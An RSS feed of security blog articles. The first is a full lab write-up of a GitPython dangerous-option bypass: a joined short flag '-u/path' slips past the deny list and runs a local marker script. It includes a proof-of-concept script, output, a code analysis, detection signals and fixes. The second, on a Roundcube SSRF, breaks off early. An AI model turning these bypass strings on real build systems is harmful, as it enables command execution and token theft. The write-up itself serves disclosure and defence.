<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Oleg Usoltsev</title>
    <description>The latest articles on DEV Community by Oleg Usoltsev (@cynepmyx).</description>
    <link>https://dev.to/cynepmyx</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4035346%2F54a47865-6241-4d4a-a659-fe9013755eb7.png</url>
      <title>DEV Community: Oleg Usoltsev</title>
      <link>https://dev.to/cynepmyx</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/cynepmyx"/>
    <language>en</language>
    <item>
      <title>It refused to run a dangerous option. I wrote it one character shorter, and it ran</title>
      <dc:creator>Oleg Usoltsev</dc:creator>
      <pubDate>Mon, 03 Aug 2026 15:57:44 +0000</pubDate>
      <link>https://dev.to/cynepmyx/it-refused-to-run-a-dangerous-option-i-wrote-it-one-character-shorter-and-it-ran-2i42</link>
      <guid>https://dev.to/cynepmyx/it-refused-to-run-a-dangerous-option-i-wrote-it-one-character-shorter-and-it-ran-2i42</guid>
      <description>&lt;p&gt;GitPython ships a guard against dangerous git options. If your code builds a clone command out of anything that arrived from outside, the library will not let &lt;code&gt;--upload-pack&lt;/code&gt; or &lt;code&gt;--config&lt;/code&gt; through by default, because both of them execute an arbitrary command. The guard is on out of the box and turns off only with an explicit &lt;code&gt;allow_unsafe_options=True&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I handed it &lt;code&gt;--upload-pack=/srv/lab/helper.sh&lt;/code&gt;. It refused. I handed it the same thing written differently, &lt;code&gt;-u/srv/lab/helper.sh&lt;/code&gt;, and it let it through. The script ran.&lt;/p&gt;

&lt;p&gt;This is CVE-2026-67324, published on 1 August 2026, scored 9.8 on CVSS 3.1 and 9.3 on CVSS 4.0. Those numbers still come from the CNA that filed it: NVD has not run its own analysis yet, the record sits in status Received, so the score may move. Version 3.1.50 is vulnerable, 3.1.51 is fixed.&lt;/p&gt;

&lt;p&gt;Below, step by step: the lab, both attempts with real output, the code of the check and why it missed, and what the attack looks like from the outside. Plus the part I find more interesting than the hole itself. This is the third bypass of the same barrier within one year, and all three share a root cause.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this deserves your attention
&lt;/h2&gt;

&lt;p&gt;Almost nobody installs GitPython on purpose. It gets 254 million downloads a month from PyPI against five thousand stars on GitHub, and a two-order gap like that means one thing: it arrives as a passenger. With MLflow, with DVC, with bandit, with semgrep, with half the homegrown scripts that touch repositories in CI.&lt;/p&gt;

&lt;p&gt;Let me draw the boundary right away, so nobody panics for nothing. Having it installed is harmless on its own. The hole fires only when two conditions hold at the same time:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;your code calls &lt;code&gt;Repo.clone_from(..., multi_options=[...])&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;something an outsider influences ends up inside &lt;code&gt;multi_options&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The second one happens more often than it sounds. A repository URL from a web form, build parameters from a config another team edits, a field in a CI job, arguments from a webhook. And if you are leaning on &lt;code&gt;allow_unsafe_options=False&lt;/code&gt; as your protection in that situation, you are leaning on nothing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lab
&lt;/h2&gt;

&lt;p&gt;Nothing heavy is needed here, no Docker, no separate machine. A virtual environment is enough. I am on Python 3.13.5 and git 2.47.3.&lt;/p&gt;

&lt;p&gt;The local repository I will be cloning:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; src &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;src
git init &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; main &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"hello"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; file.txt
git add &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git commit &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;helper.sh&lt;/code&gt; plays the malicious payload. It writes a marker and then hands control to the real &lt;code&gt;git-upload-pack&lt;/code&gt;, so the clone does not break before the result is visible. That makes the point clearer: the attack lands, and the operation still looks successful.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/sh&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"GITPYTHON_UNSAFE_OPTION_BYPASS &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="nt"&gt;-un&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;@&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;hostname&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; +%FT%TZ&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/pwned.txt
&lt;span class="nb"&gt;exec &lt;/span&gt;git-upload-pack &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the script that runs both spellings of the same option. Note &lt;code&gt;allow_unsafe_options=False&lt;/code&gt;: I am explicitly asking the library not to let anything dangerous through.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Repo&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;opt&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--upload-pack=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;LAB&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/helper.sh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-u&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;LAB&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/helper.sh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;Repo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clone_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LAB&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/src&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;multi_options&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;opt&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
                    &lt;span class="n"&gt;allow_unsafe_options&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The attack
&lt;/h2&gt;

&lt;p&gt;I install the vulnerable version and run it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;############ VULNERABLE VERSION 3.1.50 ############
GitPython: 3.1.50

--- separated form: --upload-pack=... ---
  refused: UnsafeOptionError --upload-pack is not allowed, use `allow_unsafe_options=True` to allow it.
  helper did NOT run, the gate held

--- JOINED short form: -u... ---
  clone completed
  !!! HELPER EXECUTED, marker contents:
      GITPYTHON_UNSAFE_OPTION_BYPASS builder@ci-runner 2026-08-02T11:17:08Z
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first form is blocked, and the message is honest about it. The second went straight through. The marker holds a username, a hostname and a timestamp: the command ran with the privileges of whatever process was doing the clone. In CI that usually means access to the build environment variables, and that is where the tokens live.&lt;/p&gt;

&lt;p&gt;Worth calling out separately: the clone finished successfully. No error, nothing suspicious. If instead of writing a marker I had quietly shipped the contents of &lt;code&gt;~/.ssh&lt;/code&gt; somewhere, the build log would hold nothing at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the check missed
&lt;/h2&gt;

&lt;p&gt;I open the code. The check lives in &lt;code&gt;check_unsafe_options&lt;/code&gt; and leans on a function that reduces an option name to a canonical form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;option_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;option&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lstrip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;option_tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;option_name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;dashify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;option_tokens&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The logic reads: strip leading dashes, cut off the value after the equals sign, take the first word. For &lt;code&gt;--upload-pack=/srv/lab/helper.sh&lt;/code&gt; you get &lt;code&gt;upload-pack&lt;/code&gt;, which matches an entry in the deny list. That works.&lt;/p&gt;

&lt;p&gt;Now the same thing for &lt;code&gt;-u/srv/lab/helper.sh&lt;/code&gt;. The dash is stripped, leaving &lt;code&gt;u/srv/lab/helper.sh&lt;/code&gt;. There is no equals sign, so nothing to cut. There is no space, so the first word is the whole string. Out comes &lt;code&gt;u/srv/lab/helper.sh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The deny list holds &lt;code&gt;u&lt;/code&gt;. The strings do not match. The option is considered safe.&lt;/p&gt;

&lt;p&gt;The check itself in 3.1.50 is six lines and reads beautifully:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;canonical_unsafe_options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_canonicalize_option_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;unsafe_options&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;option&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;unsafe_option&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;canonical_unsafe_options&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_canonicalize_option_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;option&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;unsafe_option&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;UnsafeOptionError&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A dictionary of canonical names, a lookup by key. Pretty much what almost anyone would write.&lt;/p&gt;

&lt;p&gt;The problem is the assumption baked in here: that an option is a name, optionally followed by a value after an equals sign. Git's syntax is richer than that. A short flag can carry its value joined to it. A long option can be shortened to any unambiguous prefix. Short flags can be clustered together. The check knows none of this. Git knows all of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix in 3.1.51
&lt;/h2&gt;

&lt;p&gt;The surprising part first. The GitPython maintainers did not touch the canonicalization function at all: in 3.1.50 and 3.1.51 it matches byte for byte, thirteen lines in both versions. So they reached the same conclusion, that the normalizer was not the problem.&lt;/p&gt;

&lt;p&gt;Instead they rewrote the check around it. It grew from sixteen lines to sixty one. Its own docstring reads like a confession, so here it is in full, quoted from the 3.1.51 source:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In addition to exact matches, this rejects abbreviated long options accepted&lt;br&gt;
by Git (for example, &lt;code&gt;--upl&lt;/code&gt; for &lt;code&gt;--upload-pack&lt;/code&gt;) and unsafe short options&lt;br&gt;
whose values are joined to the same token, including after clusterable flags&lt;br&gt;
(for example, &lt;code&gt;-uVALUE&lt;/code&gt; and &lt;code&gt;-fuVALUE&lt;/code&gt;).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So what gets caught now: abbreviated long forms, joined values on short options, and joined values after a cluster of flags. At the same time, safe joined values like &lt;code&gt;-oupstream&lt;/code&gt; and &lt;code&gt;-bcurrent&lt;/code&gt; have to keep working, otherwise ordinary code breaks. And two cases are handled separately, a list of already normalized keyword arguments and raw command line input, because they need to be checked differently.&lt;/p&gt;

&lt;p&gt;Six lines turned into a parser for the grammar of git options. Not because the author enjoys complexity, but because that is what the task was from the very beginning.&lt;/p&gt;

&lt;p&gt;I verify the fix on the same lab, with the same command, changing nothing but the library version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;############ FIXED VERSION 3.1.51 ############
GitPython: 3.1.51

--- separated form: --upload-pack=... ---
  refused: UnsafeOptionError --upload-pack is not allowed
  helper did NOT run, the gate held

--- JOINED short form: -u... ---
  refused: UnsafeOptionError -u is not allowed
  helper did NOT run, the gate held
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both forms rejected. The hole is closed.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it looks like from the outside
&lt;/h2&gt;

&lt;p&gt;Above I said the build log holds nothing. That is true for the application log, but not for the system. Processes are where you look.&lt;/p&gt;

&lt;p&gt;I rewrote the helper so that it records its own ancestry the moment it starts. This is exactly what any telemetry agent watching the process tree would see. Paths below are shortened for readability, everything else is as it came out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;me: pid=836478 user=builder
ancestry:
  836478  /bin/sh /srv/lab/helper.sh /srv/lab/src/.git
  836477  /bin/sh -c /srv/lab/helper.sh '/srv/lab/src/.git' ...
  836476  git clone -v -u/srv/lab/helper.sh -- /srv/lab/src /srv/lab/out
  836473  python -
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the whole detection. In a normal clone, git spawns &lt;code&gt;git-upload-pack&lt;/code&gt; directly. Here &lt;code&gt;/bin/sh&lt;/code&gt; shows up in between, because the option value is handed to a shell. Git spawning a shell is an anomaly, and it is visible without parsing any content.&lt;/p&gt;

&lt;p&gt;Two signals worth wiring up on your side:&lt;/p&gt;

&lt;p&gt;First, by process tree: &lt;code&gt;git&lt;/code&gt; among the ancestors and &lt;code&gt;sh&lt;/code&gt; or &lt;code&gt;bash&lt;/code&gt; among the descendants, with no hook present in the repository. Both auditd and any agent watching &lt;code&gt;execve&lt;/code&gt; will catch it.&lt;/p&gt;

&lt;p&gt;Second, by command line: the option itself is right there in the git invocation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;/srv/lab/helper.sh &lt;span class="nt"&gt;--&lt;/span&gt; /srv/lab/src /srv/lab/out
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So &lt;code&gt;-u&lt;/code&gt; or &lt;code&gt;--upload-pack&lt;/code&gt; in git's arguments on a build agent is worth investigating, regardless of the library version. The second signal is cruder, but it will survive the next bypass of the same barrier, and there will be one.&lt;/p&gt;

&lt;h2&gt;
  
  
  This is not one hole, this is the third pass
&lt;/h2&gt;

&lt;p&gt;The interesting part starts when you look at the history of this barrier.&lt;/p&gt;

&lt;p&gt;In December 2022, CVE-2022-24439 landed: a malicious URL that made it into a clone command executed arbitrary code. The entire dangerous-options mechanism exists because of it. That is the starting point, not a bypass.&lt;/p&gt;

&lt;p&gt;Then, within the single year of 2026, that mechanism was bypassed three times.&lt;/p&gt;

&lt;p&gt;On 7 May, CVE-2026-42284. The &lt;code&gt;_clone()&lt;/code&gt; method validated &lt;code&gt;multi_options&lt;/code&gt; as the original list, but executed &lt;code&gt;shlex.split(" ".join(multi_options))&lt;/code&gt;. So the string &lt;code&gt;"--branch main --config core.hooksPath=/x"&lt;/code&gt; passed validation as one list element, and fell apart into two options at execution time, the second of which was on the deny list.&lt;/p&gt;

&lt;p&gt;The same day, CVE-2026-42215. The check knew about dashes, but Python keyword arguments arrive with underscores. &lt;code&gt;upload_pack&lt;/code&gt; turned into &lt;code&gt;upload-pack&lt;/code&gt; after the check had already run.&lt;/p&gt;

&lt;p&gt;And on 1 August, the one taken apart above.&lt;/p&gt;

&lt;p&gt;Three different bypasses, one root. The check looks at how the option is written. Git looks at what it turns into. Normalization sits between those two moments, and every time someone found a new way to walk through it: joining a list into a string, an underscore instead of a dash, a value glued to a short flag.&lt;/p&gt;

&lt;p&gt;This is broader than GitPython. The exact same mistake lives in any filter that inspects a string before the real consumer parses it. Path deny lists that do not know about &lt;code&gt;%2e%2e&lt;/code&gt; and symlinks. Header filters that do not know about case and repetition. Filename validation that runs before the operating system collapses slashes. If the validator and the executor parse input by different rules, the difference between them is the vulnerability.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check yourself
&lt;/h2&gt;

&lt;p&gt;Version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip show GitPython | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; Version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The target is 3.1.51 or newer. Earlier releases are vulnerable to other bypasses of the same barrier, so intermediate versions are pointless.&lt;/p&gt;

&lt;p&gt;Now find your own call sites, because it is not the installation that is dangerous, it is the usage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"clone_from"&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;.py &lt;span class="nb"&gt;.&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; multi_options
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If something turns up, answer one question for yourself: can the contents of &lt;code&gt;multi_options&lt;/code&gt; depend on whoever is sending data from outside. If yes, upgrading is mandatory, and upgrading alone is not enough.&lt;/p&gt;

&lt;p&gt;What is worth doing beyond the upgrade:&lt;/p&gt;

&lt;p&gt;Do not assemble options out of user input at all. If a choice is needed, keep a list of allowed values on your side and substitute them yourself, instead of passing someone else's string through a filter.&lt;/p&gt;

&lt;p&gt;Give repository operations their own user. Cloning should not run under the same process that holds your production tokens.&lt;/p&gt;

&lt;p&gt;Watch outbound connections and unexpected child processes on your build agent. That is the signal that will outlive the next hole of this class, and there will be one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;The hole here is not in a regular expression and not in a list of forbidden options. The hole is in the assumption that you can validate a string without parsing it the same way the thing that executes it will.&lt;/p&gt;

&lt;p&gt;As long as validation and execution read input by different rules, bypasses will keep being found. Not because the authors are careless, but because the grammar of the input is richer than it looks to whoever is writing the filter. Three bypasses in a year in one small library is not a statement about code quality, it is a statement about the chosen approach.&lt;/p&gt;

&lt;p&gt;It is safer not to filter someone else's input, but to keep it away from the place where it becomes a command.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;GitPython maintainers' advisory: &lt;a href="https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v396-v7q4-x2qj" rel="noopener noreferrer"&gt;GHSA-v396-v7q4-x2qj&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;NVD record: &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-67324" rel="noopener noreferrer"&gt;CVE-2026-67324&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;VulnCheck write-up: &lt;a href="https://www.vulncheck.com/advisories/gitpython-authentication-bypass-via-joined-short-options" rel="noopener noreferrer"&gt;gitpython-authentication-bypass-via-joined-short-options&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The lab this all ran on builds from a single script, and every command is reproduced in full above.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Originally published in Russian on &lt;a href="https://habr.com/ru/articles/1066110/" rel="noopener noreferrer"&gt;Habr&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>devops</category>
      <category>cve</category>
    </item>
    <item>
      <title>A letter that walks your network for you: reproducing a fresh Roundcube SSRF on a live lab</title>
      <dc:creator>Oleg Usoltsev</dc:creator>
      <pubDate>Wed, 22 Jul 2026 08:35:49 +0000</pubDate>
      <link>https://dev.to/cynepmyx/a-letter-that-walks-your-network-for-you-reproducing-a-fresh-roundcube-ssrf-on-a-live-lab-1357</link>
      <guid>https://dev.to/cynepmyx/a-letter-that-walks-your-network-for-you-reproducing-a-fresh-roundcube-ssrf-on-a-live-lab-1357</guid>
      <description>&lt;p&gt;You open an email. While you are reading it, your mail server is already knocking on an internal address you never handed it, because the email told it to. Not a thought experiment. I reproduced it on a lab and caught the request in a log.&lt;/p&gt;

&lt;p&gt;Reading an email stopped being a passive act a long time ago. The client parses MIME, renders text into HTML, pulls in styles, shows attachments, turns addresses and links into clickable ones. Every one of those steps is code that runs over data a stranger sent you. And the moment one of those steps trusts that data a little more than it should, the email starts doing things you did not ask for.&lt;/p&gt;

&lt;p&gt;In July 2026 Roundcube shipped release 1.6.17, and it is not one patch, it is a whole list. Two of the fixed bugs sit at the top of the scale: NIST rates both 10.0 out of 10, while MITRE is more cautious on the SSRF and gives it 7.2. One of them lets an email make your mail server reach into the internal network on its own. I stood up the vulnerable version on an isolated lab and walked the attack end to end, down to the log line that catches the request coming from the server itself. I will also be honest about where the public data ends and why the second 10.0 cannot be reproduced from it.&lt;/p&gt;

&lt;p&gt;Up front: I do not run Roundcube in production, and this is not a piece about it being bad software. I work in server security, and what pulls me in here is a recurring plot. Software that renders content sent to it has an attack surface exactly where it tries to be convenient. Roundcube is a clean illustration, because the holes live in the features themselves: in style loading, in address linkification, in attachment parsing.&lt;/p&gt;

&lt;h2&gt;
  
  
  How an email makes the server walk the network: CVE-2026-62643 (CVSS 10.0)
&lt;/h2&gt;

&lt;p&gt;I will start with the one I reproduced live.&lt;/p&gt;

&lt;p&gt;When Roundcube shows an HTML email, it does not hand the styles over as they are. It first fetches external styles to its own server, runs them through a sanitizer, and only then passes them to the browser. The intent is reasonable: clean the CSS of dangerous constructs before it reaches the user. The problem is that it is the server that does the fetching.&lt;/p&gt;

&lt;p&gt;Here is the piece of code that makes the decision (&lt;code&gt;program/actions/mail/index.php&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$tag&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'link'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/^https?:\/\//i'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$attrib&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'href'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;rcube_utils&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;is_local_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$attrib&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'href'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// rewrite the stylesheet link to the internal modcss handler,&lt;/span&gt;
    &lt;span class="c1"&gt;// which will fetch the URL ITSELF and return sanitized CSS&lt;/span&gt;
